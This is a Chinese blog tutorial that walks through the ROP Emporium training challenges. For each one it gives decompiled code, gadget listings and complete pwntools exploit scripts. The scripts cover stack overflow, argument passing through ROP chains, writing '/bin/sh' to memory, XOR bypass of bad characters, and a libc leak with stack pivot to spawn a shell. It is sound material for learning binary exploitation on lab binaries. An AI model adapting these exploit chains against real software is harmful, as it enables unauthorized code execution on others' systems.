23R3F's Blog

萌新向ROP初体验:ROPemporium

字数统计: 4.7k阅读时长: 22 min
2018/08/21 Share

这个萌新向的文章,大佬可以出门左转离开了Orz

这是一个专门给萌新训练rop技巧的网站,题目比较简单同时也可以学到了很多新的有关rop的操作,每道题目都有分32位和64位两种版本的,对32/64位的程序都能得到很好的练习

题目网站:ropemporium

在做题之前需要先了解一波rop的相关基础理论

rop的全称是:返回导向编程(Return-Oriented Programming)

一般在利用栈溢出的时候会利用到,rop通常是由许多个gadget组成的,而gadget是程序中的一小段指令

比如这种:pop xxx;ret即将栈上的值传递给寄存器的一段汇编指令

或者这些:mov ecx,[eax]; ret int 0x80; ret leave; ret

找gadget的时候可以使用ROPgadget这个工具

总的来说,就是把多个gadget串起来,达到寄存器传值,任意地址写,保持栈平衡,调用函数的目的

一般将rop部署在栈的返回地址处,而64位和32位的程序有所有不同,构造rop的时候相应的操作也不一样

  • 32位程序的参数是放在栈里面的

  • 64 位程序的前六个参数放在 RDI、RSI、RDX、RCX、R8 和 R9 中后续还有多的才放入栈中。

因此32位的程序用gadget一般是为了保持栈的平衡,而64位程序用gadget一般是为了将调用函数的参数放入rdi、rsi、rdx等寄存器中

1.ret2win

我们先来看看这题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("ret2win by ROP Emporium");
puts("64bits\n");
pwnme("64bits\n", 0LL);
puts("\nExiting");
return 0;
}

char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]

memset(&s, 0, 0x20uLL);
puts(
"For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\n"
"What could possibly go wrong?");
puts("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n");
printf("> ", 0LL);
return fgets(&s, 50, stdin);//漏洞所在
}

int ret2win()
{//未被调用的函数,执行后可以直接得到flag
printf("Thank you! Here's your flag:");
return system("/bin/cat flag.txt");
}

发现fgets函数可读入50个字节,但s的栈空间似乎只有0x20,那么肯定存在栈溢出漏洞

这时只要填满0x20个字符串加上八个字节的ebp,然后加上一个ret2win函数的地址,即可得到flag

exp如下

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python 
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process("./ret2win")

ret2win = 0x400811
payload = 'a'*(0x20+0x08) +p64(ret2win)

p.sendline(payload)
p.interactive()

2.ret2win32

题目的描述和64位的基本上是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("ret2win by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}

char *pwnme()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
puts(
"For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\n"
"What could possibly go wrong?");
puts("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n");
printf("> ");
return fgets(&s, 50, stdin);//漏洞所在
}

int ret2win()
{//未被调用的函数,执行后可以直接得到flag
printf("Thank you! Here's your flag:");
return system("/bin/cat flag.txt");
}

exp如下,需要注意的是32位的ebp的大小是4个字节,而64位的程序的ebp是8个字节

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python 
#coding:utf-8
from pwn import *
p = process("./ret2win32")

ret2win = 0x08048659
payload = 'a'*(0x28+0x04) +p32(ret2win)

p.sendline(payload)
p.interactive()

3.split

先来看看从ida反编译的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]

memset(&s, 0, 0x20uLL);
puts("Contriving a reason to ask user for data...");
printf("> ", 0LL);
return fgets(&s, 96, stdin);//漏洞所在,造成栈溢出
}

int usefulFunction()
{
return system("/bin/ls");
}

这里可以看到,还是存在一个栈溢出的漏洞,但是usefulFunction函数并不能帮助我们拿到flag,那么我们就得自己构造system(xxx)

但参数填什么呢?

IDA中使用快捷键shift+f12可以直接看到程序中的所有字符串

我们发现这里有个有用的字符串可以当做参数

1
2
3
4
5
.data:0000000000601060                 public usefulString
.data:0000000000601060 usefulString db '/bin/cat flag.txt',0
.data:0000000000601072 db 0
.data:0000000000601073 db 0
.data:0000000000601074 db 0

那我们需要构造的就是:system(/bin/cat flag.txt)

由于这个是64位的程序,rdi是存储函数第一个参数的

因此需要用到pop rdi;ret这个gadget

通过命令:ROPgadget --binary ./split --only "pop|ret"找到gadget

1
2
3
4
5
6
7
8
9
10
11
0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret //这个就是我们所需要的gadget
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret

接着paylode的构造就简单了,填充0x28个字符到返回地址后使用pop_rdi_ret将参数传入rdi寄存器中,接着执行system函数即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./split')

catflag = 0x601060
system = 0x4005e0
pop_rdi_ret = 0x400883
payload = 'a'*(0x20 + 0x08) + p64(pop_rdi_ret) +p64(catflag)+p64(system)
p.sendline(payload)
p.interactive()

4. split32

题目的描述和上面64位 的是一样的,只需要主要32位的程序,函数的参数是放在栈上的,那也就不需要使用到gadget,直接覆盖返回地址后再将参数填入栈中即可

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./split32')

catflag = 0x0804a030
system = 0x08048430

payload = 'a'*(0x28+0x04) +p32(system)+'aaaa'+p32(catflag)
p.sendline(payload)
p.interactive()

5.callme

从反编译的代码来看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]

memset(&s, 0, 0x20uLL);
puts("Hope you read the instructions...");
printf("> ", 0LL);
return fgets(&s, 256, stdin);
}

void __noreturn usefulFunction()
{
callme_three(4LL, 5LL, 6LL);
callme_two(4LL, 5LL, 6LL);
callme_one(4LL, 5LL, 6LL);
exit(1);
}

除了和之前一样的栈溢出漏洞以外,这个usefulFunction函数显得没有卵用

于是去看看官方的提示:

1545634945839

看来,这题的要求是:依次调用one,two,three函数,参数是1,2,3,这样就可以出flag了,不用去管文件夹中的encrypted_flag.txt key1.dat key2.dat libcallme.so

但也别删除了,会影响题目正常逻辑的

这题的主要考察点是对rop调用函数顺序和设置参数

那根据之前题目中提到的,找好gadget和相关函数的地址,就可以开始写rop的构造了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./callme')
elf = ELF('./callme')

pop_rdi_ret = 0x00401b23
pop_rsi_rdx_ret = 0x401ab1

callone = 0x401850
calltwo = 0x401870
callthree = 0x401810

#调用callme_one(1,2,3)
payload = 'a'*(0x20 + 0x08)
payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(callone)
#调用callme_two(1,2,3)
payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(calltwo)
#调用callme_three(1,2,3)
payload += p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_rdx_ret)+p64(2)+p64(3)+p64(callthree)

p.sendline(payload)

p.interactive()

6.callme32

原理同上,但与上面64位不同的是,这里的pop_esi_edi_ebp_ret并不是传参数的作用,而是为了保持栈的平衡,把p32(1)+p32(2)+p32(3)弹出去,从而实现下一次的rop函数调用

栈平衡 是指保证压栈操作和弹栈操作要相对应,保证栈指针一直指向所定义的栈空间。

比如

payload += p32(callone)+p32(pop_esi_edi_ebp_ret)+p32(1)+p32(2)+p32(3)

其中pop esi是为了把p32(1)弹出栈,pop edi是为了把p32(2)弹出栈,pop edi是为了把p32(3)弹出栈

最后一个ret指令相当于 pop eip

也就是把栈顶的内容传给eip,从而改变执行流程

在执行之前三次pop后,esp已经指向了p32(calltwo)

这时就可以接着去指向第二段rop从而顺利调用callme_two(1,2,3)

依次类推,执行callme_three(1,2,3)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./callme32')

pop_esi_edi_ebp_ret = 0x080488a9
callone = 0x080485c0
calltwo = 0x08048620
callthree = 0x080485b0
main = 0x0804873b


payload = 'a'*(0x28 + 0x04)

payload += p32(callone)+p32(pop_esi_edi_ebp_ret)+p32(1)+p32(2)+p32(3)
payload += p32(calltwo)+p32(pop_esi_edi_ebp_ret)+p32(1)+p32(2)+p32(3)
payload += p32(callthree)+p32(0xdeadbeef)+p32(1)+p32(2)+p32(3)
p.sendline(payload)

p.interactive()

如果对此不太好理解,可以进入gdb一步步跟着调试,可以看清楚具体的流程

7.write4

从IDA来看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("write4 by ROP Emporium");
puts("64bits\n");
pwnme();
puts("\nExiting");
return 0;
}

char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]

memset(&s, 0, 0x20uLL);
puts("Go ahead and give me the string already!");
printf("> ", 0LL);
return fgets(&s, 512, stdin);
}

int usefulFunction()
{
return system("/bin/ls");
}

可以发现,代码和之前的题目没有太多区别,唯一不同的是,我们找不到system的参数了,程序中不再出现’/bin/cat flag.txt’的参数了,因此我们得自己写参数

但程序中并没有直接写bss段的操作

于是我们需要构造rop来写入一个/bin/sh参数

最后调用system(/bin/sh)

首先找一波可利用的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ROPgadget --binary write4 --only "mov|pop|ret" 
Gadgets information
============================================================
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret

我们发现,有这两条

mov qword ptr [r14], r15 ; ret

pop r14 ; pop r15 ; ret

这意味着我们可以通过这两条gadget实现任意地址写,把“/bin/sh\x00”写入bss段中,接着在将参数传入rdi寄存器的时候就传bss的地址就行了

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./write4')

pop_rdi_ret = 0x400893
mov_r15_2_r14_ret = 0x400820
pop_r14_r15_ret= 0x400890
bss = 0x601060

binsh = '/bin/sh\x00' #sh\x00\x00\x00\x00\x00\x00也可以,只要在八字节内就行
system = 0x4005e0

payload = 'a'*(0x20+0x08)
payload += p64(pop_r14_r15_ret) + p64(bss) +binsh
payload += p64(mov_r15_2_r14_ret)
payload += p64(pop_rdi_ret) +p64(bss) +p64(system)

p.sendline(payload)
p.interactive()

8.write4 32

原理同上,注意binsh参数的长度即可,32位下有四个字节的长度限制

另外在本程序中,间接传至利用的是edi和ebp寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./write432')

mov_edi_ebp_ret = 0x08048670
pop_edi_ebp_ret = 0x080486da

bss = 0x0804a040
binsh = 'sh\x00\x00' #32位程序仅有四个字节可以写入,所以只能构造system(sh)
#也还可以构造system($0)
system = 0x08048430

payload = 'a'*(0x28+0x04)
payload += p32(pop_edi_ebp_ret)+p32(bss)+binsh
payload += p32(mov_edi_ebp_ret)
payload += p32(system)+p32(0xdeadbeef)+p32(bss)


p.sendline(payload)
p.interactive()

9.badchars

这题比较猥琐一点,直接过滤了一些字符不给你输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 __fastcall checkBadchars(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 result; // rax
char v3; // [rsp+10h] [rbp-20h]
char v4; // [rsp+11h] [rbp-1Fh]
char v5; // [rsp+12h] [rbp-1Eh]
char v6; // [rsp+13h] [rbp-1Dh]
char v7; // [rsp+14h] [rbp-1Ch]
char v8; // [rsp+15h] [rbp-1Bh]
char v9; // [rsp+16h] [rbp-1Ah]
char v10; // [rsp+17h] [rbp-19h]
unsigned __int64 j; // [rsp+20h] [rbp-10h]
unsigned __int64 i; // [rsp+28h] [rbp-8h]

v3 = 'b';
v4 = 'i';
v5 = 'c';
v6 = '/';
v7 = ' ';
v8 = 'f';
v9 = 'n';
v10 = 's';
j = 0LL;
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a2 )
break;
for ( j = 0LL; j <= 7; ++j )
{
if ( *(_BYTE *)(a1 + i) == *(&v3 + j) )
{
*(_BYTE *)(a1 + i) = 0xEBu;
break;
}
}
}
return result;
}

可以看到,如果输入的字符串里面,有“b i c / <空格> f n s”,就会被替换成0xEBu

那么system函数的参数都用不了,就需要别的操作去完成参数的构造

通过查ropgadget,我们发现有这些:

pop_r12_r13_ret = 0x0000000000400b3b
mov_r13_r12_ret = 0x0000000000400b34
pop_r14_r15_ret = 0x0000000000400b40
xor_r15_r14_ret = 0x0000000000400b30
pop_rdi_ret=0x0000000000400b39

我们可以对binsh参数先进行异或的加密,从而可以绕过checkBadchars函数

进入函数,完成输入到bss段以后,再用xor的gadget,可以完成对参数的解密

最后再跳转执行system(/bin/sh)

首先需要测出10以内的异或数字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
binsh = '/bin/sh\x00'
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
xornum = 1
while 1:
for x in binsh:
tmp = ord(x) ^ xornum
if tmp in badchar:
xornum += 1
break
if x == "\x00":
print xornum
xornum +=1
if xornum == 10:
break
#检测出2,3,5,9都能用

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python 
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process("./badchars")

system = 0x4006f0
bss = 0x601080
pop_r12_r13_ret = 0x0000000000400b3b
mov_r13_r12_ret = 0x0000000000400b34
pop_r14_r15_ret = 0x0000000000400b40
xor_r15_r14_ret = 0x0000000000400b30
pop_rdi_ret=0x0000000000400b39

binsh = '/bin/sh\x00'
xorbinsh = ''
for x in binsh:
xorbinsh += chr(ord(x) ^ 2)

payload = 'a'*(0x20+0x08)
payload += p64(pop_r12_r13_ret) + xorbinsh + p64(bss)
payload += p64(mov_r13_r12_ret)

for x in xrange(0,len(xorbinsh)):
payload += p64(pop_r14_r15_ret)
payload += p64(2)
payload += p64(bss + x)
payload += p64(xor_r15_r14_ret)


payload += p64(pop_rdi_ret)
payload += p64(bss)
payload += p64(system)

p.recvuntil("> ")
p.sendline(payload)
p.interactive()

10.badchars32

原理同上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process("./badchars32")

mov_edi_esi_ret = 0x08048893
pop_esi_edi_ret = 0x08048899

pop_ebx_ecx_ret = 0x08048896
xor_ebx_ecl_ret = 0x08048890

system = 0x080484E0
bss = 0x0804a040
binsh = '/bin/sh\x00'

badchar = [98, 105, 99, 47, 32, 102, 110, 115]

xorbinsh = ''
for x in binsh:
xorbinsh += chr(ord(x) ^ 2)

#print xorbinsh

payload = 'a'*(0x28+0x04)
payload += p32(pop_esi_edi_ret)
payload += xorbinsh[0:4] +p32(bss)
payload += p32(mov_edi_esi_ret)
#需要注意的是32位的程序一次只能传4个字节的字符串,因此xorbinsh需要分两次来发送到bss段里面
payload += p32(pop_esi_edi_ret)
payload += xorbinsh[4:8] +p32(bss+4)
payload += p32(mov_edi_esi_ret)

for x in xrange(0,len(xorbinsh)):
payload += p32(pop_ebx_ecx_ret)
payload += p32(bss+x) + p32(2)
payload += p32(xor_ebx_ecl_ret)

payload += p32(system) +p32(0xdeadbeef)+p32(bss)

p.recvuntil("> ")
p.sendline(payload)
p.interactive()

其实这题有非预期解法的,直接调用system($0)也一样可以getshell,完全不用理会检查机制

11.fluff

题目的函数设置还是和之前的没有太多的差别

1
2
3
4
5
6
7
8
9
char *pwnme()
{
char s; // [rsp+0h] [rbp-20h]

memset(&s, 0, 0x20uLL);
puts("You know changing these strings means I have to rewrite my solutions...");
printf("> ", 0LL);
return fgets(&s, 512, stdin);
}

同样的,我们需要写system的参数到bss段,才能成功getshell

查一波可以的gadget,发现:

1
2
3
4
5
6
7
8
0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xorbyte ptr [r10], r12b ; ret
0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret

0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret

0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret

这道题有个比较有趣的地方在于,可以用xor进行写入操作,用一个xor自己清空寄存器A,接着让寄存器B去xor寄存器A,把结果存在寄存器A,就相当于把B赋值給A

这也算是gadget进行间接赋值的时候的新思路

这道题的关键点在于非常巧妙地利用了几个gadget,尤其是通过xor进行寄存器赋值的操作是真的很细节

在找ropgadget的时候用上:ROPgadget –binary ./fluff –depth 20 才能找到更多的gadget

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"
p = process("./fluff")

system = 0x4005e0
bss = 0x601060
binsh = '/bin/sh\x00'
junk = 'a'*8

gadget1 = 0x40084d
#pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
gadget2 = 0x400822
#xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
gadget3 = 0x40082f
#xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
gadget4 = 0x400840
#xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
gadget5 = 0x400832
#pop r12 ; mov r13d, 0x604060 ; ret

payload = 'a'*(0x20+0x08)
payload += p64(gadget5)
payload += p64(bss)
payload += p64(gadget2) +junk
payload += p64(gadget3) +junk
payload += p64(gadget4) +junk

payload += p64(gadget5)
payload += binsh
payload += p64(gadget2) +junk
payload += p64(gadget3) +junk
payload += p64(gadget1) +p64(bss)+junk +p64(0)

payload += p64(system)

p.recvuntil("> ")
p.sendline(payload)
p.interactive()

需要注意的是,我们利用的gadget并不是每一条都有用,比如

xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret

这里的pop r14 ; mov edi, 0x601050并没有作用

我们需要利用的是xor r11, r11

只要其他的不影响解题,我们填充它为无用字符就行了

12.fluff32

原理同上,只需要注意分两次写入bss,这是因为32位程序最多四字节传值

当然如果构造system(/sh)写一次就够了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"

p = process("./fluff32")
bss = 0x0804a040
binsh = "/bin/sh\x00"
system = 0x08048430
junk = "a"*4

gadget1 = 0x08048693
#mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
gadget2 = 0x08048671
#xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
gadget3 = 0x0804867b
#xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
gadget4 = 0x080483e1
# pop ebx ; ret
gadget5 = 0x08048689
#xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret


payload = 'a'*(0x28+0x04)

#把bss的地址传给ecx
payload += p32(gadget4)
payload += p32(bss)
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget5)+junk
#把binsh前四个字节写入bss的地址
payload += p32(gadget4)
payload += binsh[0:4]
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget1)+junk+p32(0)
#把bss+4的地址传给ecx
payload += p32(gadget4)
payload += p32(bss+4)
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget5)+junk
#把binsh后四个字节写入bss+4的地址
payload += p32(gadget4)
payload += binsh[4:8]
payload += p32(gadget2)+junk
payload += p32(gadget3)+junk
payload += p32(gadget1)+junk+p32(0)
#此时在bss段中已经写好了/bin/sh,然后就调用system函数getshell
payload += p32(system) +p32(0xdeadbeef)+p32(bss)


p.recvuntil("> ")
p.sendline(payload)
p.interactive()

13.pivot

这道题有两次输入,第一次输入存入pivot堆的位置,第二次输入存入栈的位置,第二次输入的可溢出大小明显不够用来构造rop链

所以需要用到栈迁移的操作,这里边描述的够详细了

这道题有给出so文件,其中有这个函数

1
2
3
4
5
void __noreturn ret2win()
{
system("/bin/cat flag.txt");
exit(0);
}

在elf中的函数里面只有foothold_function是也出现在so里面的,它还存在elf的got表中

1
.got.plt:0000000000602048 off_602048      dq offset foothold_function

很明显就是要利用这个foothold函数来进行泄漏libc,从而得到ret2win的真实地址,然后去调用这个ret2win函数

由于这个函数没调用,需要调用一次,got表才会存在真正的地址

因此第一次溢出就要先执行foothold函数

其他的就是找gadget进行构造rop了,但其实text段里面有提示

很明显这个就是一个有用的gadget,剩下的就以这个为线索去找就行了

输入命令 ROPgadget –binary ./pivot –depth 20 配合着–only”xxx”和grep命令去找出这些有用的gadget

1
2
3
4
5
6
0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
0x0000000000400b00 : pop rax ; ret
0x000000000040098e : call rax
0x0000000000400b09 : add rax, rbp ; ret
0x0000000000400900 : pop rbp ; ret
0x0000000000400b02 : xchg rax, rsp ; ret

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"
elf = ELF("./pivot")
libc = ELF("./libpivot.so")
p = process("./pivot")

plt_foothold_function = elf.plt["foothold_function"]
got_foothold_function = elf.got["foothold_function"]

libc_foothold_function = libc.symbols["foothold_function"]
libc_ret2win = libc.symbols["ret2win"]

offset = libc_ret2win-libc_foothold_function

mov_rax_rax = 0x0000000000400b05
pop_rax = 0x0000000000400b00
call_rax =0x000000000040098e
add_rax_rbp = 0x0000000000400b09
pop_rbp = 0x0000000000400900
xchg_rax_rsp = 0x0000000000400b02

p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap = int(p.recv(14),16)

p.recvuntil("> ")

payload1 = p64(plt_foothold_function)
payload1 += p64(pop_rax)
payload1 += p64(got_foothold_function)
payload1 += p64(mov_rax_rax)
payload1 += p64(pop_rbp)
payload1 += p64(offset)
payload1 += p64(add_rax_rbp)
payload1 += p64(call_rax)
p.sendline(payload1)


p.recvuntil("> ")
payload2 ='a'*(0x20+0x08)
payload2 += p64(pop_rax)
payload2 += p64(heap)
payload2 += p64(xchg_rax_rsp)


p.sendline(payload2)
p.recvuntil("into libpivot.so")
p.interactive()

14.pivot32

原理同上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!python
#coding:utf-8
from pwn import *
context.log_level = "debug"
elf = ELF("./pivot32")
libc = ELF("./libpivot32.so")
p = process("./pivot32")

plt_foothold_function = elf.plt["foothold_function"]
got_foothold_function = elf.got["foothold_function"]

libc_foothold_function = libc.symbols["foothold_function"]
libc_ret2win = libc.symbols["ret2win"]

offset = libc_ret2win-libc_foothold_function
print offset
mov_eax_eax = 0x080488c4
pop_eax = 0x080488c0
call_eax =0x080486a3
add_eax_ebx = 0x080488c7
pop_ebx = 0x08048571
xchg_eax_esp = 0x080488c2

p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
heap = int(p.recv(10),16)

p.recvuntil("> ")

payload1 = p32(plt_foothold_function)
payload1 += p32(pop_eax)
payload1 += p32(got_foothold_function)
payload1 += p32(mov_eax_eax)
payload1 += p32(pop_ebx)
payload1 += p32(offset)
payload1 += p32(add_eax_ebx)
payload1 += p32(call_eax)
p.sendline(payload1)


p.recvuntil("> ")
payload2 ='a'*(0x28+0x04)
payload2 += p32(pop_eax)
payload2 += p32(heap)
payload2 += p32(xchg_eax_esp)


p.sendline(payload2)

p.recvuntil("into libpivot.so")
p.interactive()
'''
0x080488c0 : pop eax ; ret
0x08048571 : pop ebx ; ret

0x080488c2 : xchg eax, esp ; ret
0x080488c4 : mov eax, dword ptr [eax] ; ret
0x080486a3 : call eax
0x080488c7 : add eax, ebx ; ret
'''

其实栈迁移(or栈翻转,栈伪造,其实都是一个意思)我们一般用leave;ret,上面64位有0x0a,所以用不了

上面的stack pivot可以用如下payload:

1
2
3
4
5
6
leave_ret = 0x080486a8
p.recvuntil("> ")
payload = "a" * 40
payload += p32(heap_addr - 4)
#因为后面的leave会pop ebp,所以这减4
payload += p32(leave_ret)

总结

通过这些题目的练习,是可以提高对rop的利用能力的,尤其是在没法遇到pop xxx ret这样的直接传值gadget的时候,就需要想尽办法去间接的传递赋值,另外我发现ropemporium的官网似乎要全局梯子才能访问,我就把题目打包上去了,方便大家练习

CATALOG
  1. 1. 1.ret2win
  2. 2. 2.ret2win32
  3. 3. 3.split
  4. 4. 4. split32
  5. 5. 5.callme
  6. 6. 6.callme32
  7. 7. 7.write4
  8. 8. 8.write4 32
  9. 9. 9.badchars
  10. 10. 10.badchars32
  11. 11. 11.fluff
  12. 12. 12.fluff32
  13. 13. 13.pivot
  14. 14. 14.pivot32
  15. 15. 总结